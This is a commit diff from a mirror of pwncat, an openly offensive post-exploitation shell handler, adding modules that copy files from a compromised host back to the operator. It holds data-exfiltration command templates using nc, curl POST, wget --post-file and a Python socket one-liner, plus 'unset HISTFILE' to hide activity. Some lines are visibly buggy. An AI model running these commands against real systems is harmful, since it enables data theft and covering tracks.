mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-24 01:25:37 +01:00
Initial framework for downloaders present
This commit is contained in:
parent
4ca3151580
commit
5801895cba
@ -99,7 +99,7 @@ def main():
|
||||
except ConnectionResetError:
|
||||
handler.restore()
|
||||
util.warn("connection reset by remote host")
|
||||
else:
|
||||
finally:
|
||||
# Restore the shell
|
||||
handler.restore()
|
||||
|
||||
|
31
pwncat/downloader/__init__.py
Normal file
31
pwncat/downloader/__init__.py
Normal file
@ -0,0 +1,31 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from pwncat.downloader.base import Downloader, DownloadError
|
||||
from pwncat.downloader.nc import NetcatDownloader
|
||||
from pwncat.downloader.curl import CurlDownloader
|
||||
from pwncat.downloader.shell import ShellDownloader
|
||||
|
||||
all_downloaders = [NetcatDownloader, CurlDownloader, ShellDownloader]
|
||||
downloaders = [NetcatDownloader, CurlDownloader]
|
||||
fallback = ShellDownloader
|
||||
|
||||
|
||||
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Downloader:
|
||||
""" Locate an applicable downloader """
|
||||
|
||||
if hint is not None:
|
||||
""" Try to return the requested downloader """
|
||||
for d in all_downloaders:
|
||||
if d.NAME != hint:
|
||||
continue
|
||||
d.check(pty)
|
||||
return d
|
||||
|
||||
for d in downloaders:
|
||||
try:
|
||||
d.check(pty)
|
||||
return d
|
||||
except DownloadError:
|
||||
continue
|
||||
|
||||
raise DownloadError("no acceptable downloaders found")
|
150
pwncat/downloader/base.py
Normal file
150
pwncat/downloader/base.py
Normal file
@ -0,0 +1,150 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator, Callable
|
||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
from socketserver import TCPServer, BaseRequestHandler
|
||||
from functools import partial
|
||||
import threading
|
||||
|
||||
from pwncat import util
|
||||
|
||||
|
||||
class DownloadError(Exception):
|
||||
""" An error occurred while attempting to run a downloader """
|
||||
|
||||
|
||||
class Downloader:
|
||||
|
||||
# Binaries which are needed on the remote host for this downloader
|
||||
BINARIES = []
|
||||
|
||||
@classmethod
|
||||
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||
""" Check if the given PTY connection can support this downloader """
|
||||
for binary in cls.BINARIES:
|
||||
if pty.which(binary) is None:
|
||||
raise DownloadError(f"required remote binary not found: {binary}")
|
||||
|
||||
def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str):
|
||||
self.pty = pty
|
||||
self.local_path = local_path
|
||||
self.remote_path = remote_path
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Generate the commands needed to send this file back. This is a
|
||||
generator, which yields strings which will be executed on the remote
|
||||
host. """
|
||||
return
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
""" Start any servers on the local end which are needed to download the
|
||||
content. """
|
||||
return
|
||||
|
||||
def shutdown(self):
|
||||
""" Shutdown any attacker servers that were started """
|
||||
return
|
||||
|
||||
|
||||
class HttpPostFileReceiver(BaseHTTPRequestHandler):
|
||||
def __init__(self, request, addr, server, downloader: "HTTPDownloader"):
|
||||
self.downloader = downloader
|
||||
super(HttpPostFileReceiver, self).__init__(request, addr, server)
|
||||
|
||||
def do_POST(self):
|
||||
""" handle http POST request """
|
||||
|
||||
if self.path != "/":
|
||||
self.send_error(404)
|
||||
return
|
||||
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
|
||||
with open(self.downloader.local_path, "wb") as filp:
|
||||
util.copyfileobj(self.rfile, filp, self.downloader.progress)
|
||||
|
||||
def log_message(self, *args, **kwargs):
|
||||
return
|
||||
|
||||
|
||||
class HTTPDownloader(Downloader):
|
||||
""" Base class for HTTP POST based downloaders. This takes care of setting
|
||||
up the local HTTP server and saving the file. Just provide the commands
|
||||
for the remote host to trigger the upload """
|
||||
|
||||
@classmethod
|
||||
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||
""" Make sure we have an lhost """
|
||||
if pty.vars.get("lhost", None) is None:
|
||||
raise DownloadError("no lhost provided")
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
pty: "pwncat.pty.PtyHandler",
|
||||
remote_path: str,
|
||||
local_path: str,
|
||||
on_progress: Callable = None,
|
||||
):
|
||||
super(HTTPDownloader, self).__init__(pty, remote_path, local_path)
|
||||
self.server = None
|
||||
self.on_progress = on_progress
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
self.server = HTTPServer(
|
||||
("0.0.0.0", 0), partial(HttpPostFileReceiver, downloader=self)
|
||||
)
|
||||
|
||||
thread = threading.Thread(
|
||||
target=lambda: self.server.serve_forever(), daemon=True
|
||||
)
|
||||
thread.start()
|
||||
|
||||
def shutdown(self):
|
||||
self.server.shutdown()
|
||||
|
||||
|
||||
class RawDownloader(Downloader):
|
||||
""" Base class for raw socket based downloaders. This takes care of setting
|
||||
up the socket server and saving the file. Just provide the commands to
|
||||
initiate the raw socket transfer on the remote host to trigger the
|
||||
upload """
|
||||
|
||||
@classmethod
|
||||
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||
""" Make sure we have an lhost """
|
||||
if pty.vars.get("lhost", None) is None:
|
||||
raise DownloadError("no lhost provided")
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
pty: "pwncat.pty.PtyHandler",
|
||||
remote_path: str,
|
||||
local_path: str,
|
||||
on_progress: Callable = None,
|
||||
):
|
||||
super(RawDownloader, self).__init__(pty, remote_path, local_path)
|
||||
self.server = None
|
||||
self.on_progress = on_progress
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
|
||||
# Make sure it is accessible to the subclass
|
||||
local_path = self.local_path
|
||||
|
||||
# Class to handle incoming connections
|
||||
class ReceiveFile(BaseRequestHandler):
|
||||
def handle(self):
|
||||
self.request.settimeout(1)
|
||||
with open(local_path, "wb") as fp:
|
||||
util.copyfileobj(self.request.makefile("rb"), fp, on_progress)
|
||||
|
||||
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
|
||||
|
||||
thread = threading.Thread(
|
||||
target=lambda: self.server.serve_forever(), daemon=True
|
||||
)
|
||||
thread.start()
|
||||
|
||||
def shutdown(self):
|
||||
""" Shutdown the server """
|
||||
self.server.shutdown()
|
20
pwncat/downloader/curl.py
Normal file
20
pwncat/downloader/curl.py
Normal file
@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator
|
||||
import shlex
|
||||
|
||||
from pwncat.downloader.base import HTTPDownloader, DownloadError
|
||||
|
||||
|
||||
class CurlDownloader(HTTPDownloader):
|
||||
|
||||
BINARIES = ["curl"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Generate the curl command to post the file """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[2]
|
||||
curl = self.pty.which("curl")
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
yield f"{curl} --output {remote_path} http://{lhost}:{lport}"
|
20
pwncat/downloader/nc.py
Normal file
20
pwncat/downloader/nc.py
Normal file
@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator
|
||||
import shlex
|
||||
|
||||
from pwncat.downloader.base import RawDownloader, DownloadError
|
||||
|
||||
|
||||
class NetcatDownloader(RawDownloader):
|
||||
|
||||
BINARIES = ["nc"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Return the commands needed to trigger this download """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[2]
|
||||
nc = self.pty.which("nc")
|
||||
remote_file = shlex.quote(self.remote_path)
|
||||
|
||||
yield f"{nc} {lhost} {lport} < {remote_file}"
|
46
pwncat/downloader/shell.py
Normal file
46
pwncat/downloader/shell.py
Normal file
@ -0,0 +1,46 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator, Callable
|
||||
import base64
|
||||
import shlex
|
||||
|
||||
from pwncat.downloader.base import Downloader, DownloadError
|
||||
|
||||
|
||||
class ShellDownloader(Downloader):
|
||||
|
||||
NAME = "shell"
|
||||
BINARIES = ["dd", "base64"]
|
||||
BLOCKSZ = 8192
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Yield list of commands to transfer the file """
|
||||
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
with open(self.local_path, "wb") as filp:
|
||||
blocknr = 0
|
||||
copied = 0
|
||||
while True:
|
||||
|
||||
# Read the data
|
||||
x = yield "dd if={} bs={} skip={} count=1 2>/dev/null | base64 -w0".format(
|
||||
remote_path, self.BLOCKSZ, blocknr
|
||||
)
|
||||
if x == b"" or x == b"\r\n":
|
||||
break
|
||||
|
||||
# Decode the data
|
||||
data = base64.b64decode(x)
|
||||
|
||||
# Send the data and call the progress function
|
||||
filp.write(data)
|
||||
copied += data
|
||||
self.on_progress(copied, len(data))
|
||||
|
||||
# Increment block number
|
||||
blocknr += 1
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
""" We don't need to start a server, but we do need to save the
|
||||
callback """
|
||||
self.on_progress = on_progress
|
@ -1,6 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
from prompt_toolkit import prompt
|
||||
from prompt_toolkit import prompt, PromptSession
|
||||
from prompt_toolkit.shortcuts import ProgressBar
|
||||
import subprocess
|
||||
import logging
|
||||
import argparse
|
||||
import base64
|
||||
@ -60,13 +61,20 @@ class PtyHandler:
|
||||
self.lhost = None
|
||||
self.known_binaries = {}
|
||||
self.vars = {"lhost": None}
|
||||
self.prompt = PromptSession("localhost$ ")
|
||||
|
||||
# We should always get a response within 3 seconds...
|
||||
self.client.settimeout(3)
|
||||
|
||||
# Ensure history is disabled
|
||||
util.info("disabling remote command history", overlay=True)
|
||||
client.sendall(b"unset HISTFILE\n")
|
||||
self.recvuntil(b"\n")
|
||||
|
||||
util.info("setting terminal prompt", overlay=True)
|
||||
client.sendall(b'export PS1="(remote) \\u@\\h\\$ "\n\n')
|
||||
self.recvuntil(b"\n")
|
||||
self.recvuntil(b"\n")
|
||||
|
||||
# Locate interesting binaries
|
||||
for name, friendly, priority in PtyHandler.INTERESTING_BINARIES:
|
||||
@ -99,6 +107,9 @@ class PtyHandler:
|
||||
util.info(f"opening pseudoterminal via {method}", overlay=True)
|
||||
client.sendall(method_cmd.encode("utf-8") + b"\n")
|
||||
|
||||
# Make sure HISTFILE is unset in this PTY
|
||||
self.run("unset HISTFILE")
|
||||
|
||||
# Synchronize the terminals
|
||||
util.info("synchronizing terminal state", overlay=True)
|
||||
self.do_sync([])
|
||||
@ -159,27 +170,35 @@ class PtyHandler:
|
||||
# Process commands
|
||||
while self.state is State.COMMAND:
|
||||
try:
|
||||
line = prompt("localhost$ ")
|
||||
except EOFError:
|
||||
# The user pressed ctrl-d, go back
|
||||
self.enter_raw()
|
||||
try:
|
||||
line = self.prompt.prompt()
|
||||
except (EOFError, OSError):
|
||||
# The user pressed ctrl-d, go back
|
||||
self.enter_raw()
|
||||
continue
|
||||
|
||||
if len(line) > 0 and line[0] == "!":
|
||||
# Allow running shell commands
|
||||
subprocess.run(line[1:], shell=True)
|
||||
continue
|
||||
|
||||
argv = shlex.split(line)
|
||||
|
||||
# Empty command
|
||||
if len(argv) == 0:
|
||||
continue
|
||||
|
||||
try:
|
||||
method = getattr(self, f"do_{argv[0]}")
|
||||
except AttributeError:
|
||||
util.warn(f"{argv[0]}: command does not exist")
|
||||
continue
|
||||
|
||||
# Call the method
|
||||
method(argv[1:])
|
||||
except KeyboardInterrupt:
|
||||
continue
|
||||
|
||||
argv = shlex.split(line)
|
||||
|
||||
# Empty command
|
||||
if len(argv) == 0:
|
||||
continue
|
||||
|
||||
try:
|
||||
method = getattr(self, f"do_{argv[0]}")
|
||||
except AttributeError:
|
||||
util.warn(f"{argv[0]}: command does not exist")
|
||||
continue
|
||||
|
||||
# Call the method
|
||||
method(argv[1:])
|
||||
|
||||
def do_back(self, _):
|
||||
""" Exit command mode """
|
||||
self.enter_raw(save=False)
|
||||
@ -187,25 +206,29 @@ class PtyHandler:
|
||||
def do_download(self, argv):
|
||||
|
||||
uploaders = {
|
||||
"XXXXX": (
|
||||
"curl": (
|
||||
"http",
|
||||
"curl -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
|
||||
"{cmd} -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
|
||||
),
|
||||
"XXXX": (
|
||||
"http",
|
||||
"wget --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
|
||||
"{cmd} --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
|
||||
),
|
||||
"nc": ("raw", "nc {lhost} {lport} < {remote_file}"),
|
||||
"python": (
|
||||
"raw",
|
||||
"""{cmd} -c 'from socket import AF_INET, socket, SOCK_STREAM; import shutil; s=socket(AF_INET, SOCK_STREAM); s.connect(("{lhost}", {lport})); fp = open("{remote_file}", "rb"); shutil.copyfileobj(fp, s.makefile("wb", buffering=0))'""",
|
||||
),
|
||||
"nxc": ("raw", "nc {lhost} {lport} < {remote_file}"),
|
||||
}
|
||||
servers = {"http": util.receive_http_file, "raw": util.receive_raw_file}
|
||||
|
||||
parser = argparse.ArgumentParser(prog="upload")
|
||||
parser = argparse.ArgumentParser(prog="download")
|
||||
parser.add_argument(
|
||||
"--method",
|
||||
"-m",
|
||||
choices=uploaders.keys(),
|
||||
default=None,
|
||||
help="set the upload method (default: auto)",
|
||||
help="set the download method (default: auto)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--output",
|
||||
@ -235,10 +258,11 @@ class PtyHandler:
|
||||
if m in self.known_binaries:
|
||||
util.info(f"downloading via {m}")
|
||||
method = info
|
||||
args.method = m
|
||||
break
|
||||
else:
|
||||
util.warn(
|
||||
"no available upload methods. falling back to dd/base64 method"
|
||||
"no available download methods. falling back to dd/base64 method"
|
||||
)
|
||||
|
||||
path = args.path
|
||||
@ -271,20 +295,23 @@ class PtyHandler:
|
||||
server = servers[method[0]](outfile, name, progress=on_progress)
|
||||
|
||||
command = method[1].format(
|
||||
cmd=self.known_binaries[args.method][0],
|
||||
remote_file=shlex.quote(path),
|
||||
lhost=self.vars["lhost"],
|
||||
lfile=name,
|
||||
lport=server.server_address[1],
|
||||
)
|
||||
print(command)
|
||||
result = self.run(command, wait=False)
|
||||
else:
|
||||
server = None
|
||||
path = shlex.quote(path)
|
||||
with open(outfile, "wb") as fp:
|
||||
copied = 0
|
||||
for chunk_nr in range(0, size, 8192):
|
||||
blocksz = 1024 * 10
|
||||
for chunk_nr in range(0, size // blocksz):
|
||||
# Send the command
|
||||
encoded = self.run(
|
||||
f"dd if={shlex.quote(path)} bs=8192 count=1 skip={chunk_nr} 2>/dev/null | base64"
|
||||
f"dd if={path} bs={blocksz} count=1 skip={chunk_nr} 2>/dev/null | base64 -w0",
|
||||
)
|
||||
chunk = base64.b64decode(encoded)
|
||||
fp.write(chunk)
|
||||
@ -466,15 +493,17 @@ class PtyHandler:
|
||||
# This works by waiting for our known prompt
|
||||
self.recvuntil(b"(remote) ")
|
||||
try:
|
||||
# Read to the end of the prompt
|
||||
self.recvuntil(b"$ ", socket.MSG_DONTWAIT)
|
||||
self.recvuntil(b"# ", socket.MSG_DONTWAIT)
|
||||
except BlockingIOError:
|
||||
pass
|
||||
# The prompt may be "#"
|
||||
try:
|
||||
self.recvuntil(b"# ", socket.MSG_DONTWAIT)
|
||||
except BlockingIOError:
|
||||
pass
|
||||
|
||||
# Surround the output with known delimeters
|
||||
# self.client.send(b"echo _OUTPUT_DELIM_START_\r")
|
||||
# Send the command to the remote host
|
||||
self.client.send(cmd.encode("utf-8") + EOL)
|
||||
# self.client.send(b"echo -e '" + DELIM_ESCAPED + b"'\r")
|
||||
|
||||
# Initialize response buffer
|
||||
response = b""
|
||||
|
@ -127,10 +127,14 @@ def enter_raw_mode():
|
||||
sys.stdout.flush()
|
||||
|
||||
# Python doesn't provide a way to use setvbuf, so we reopen stdout
|
||||
# and specify no buffering
|
||||
old_stdout = sys.stdout
|
||||
# and specify no buffering. Duplicating stdin allows the user to press C-d
|
||||
# at the local prompt, and still be able to return to the remote prompt.
|
||||
try:
|
||||
os.dup2(sys.stdin.fileno(), sys.stdout.fileno())
|
||||
except OSError:
|
||||
pass
|
||||
sys.stdout = TextIOWrapper(
|
||||
os.fdopen(sys.stdout.fileno(), "ba+", buffering=0),
|
||||
os.fdopen(os.dup(sys.stdin.fileno()), "bw", buffering=0),
|
||||
write_through=True,
|
||||
line_buffering=False,
|
||||
)
|
||||
|
Loading…
Reference in New Issue
Block a user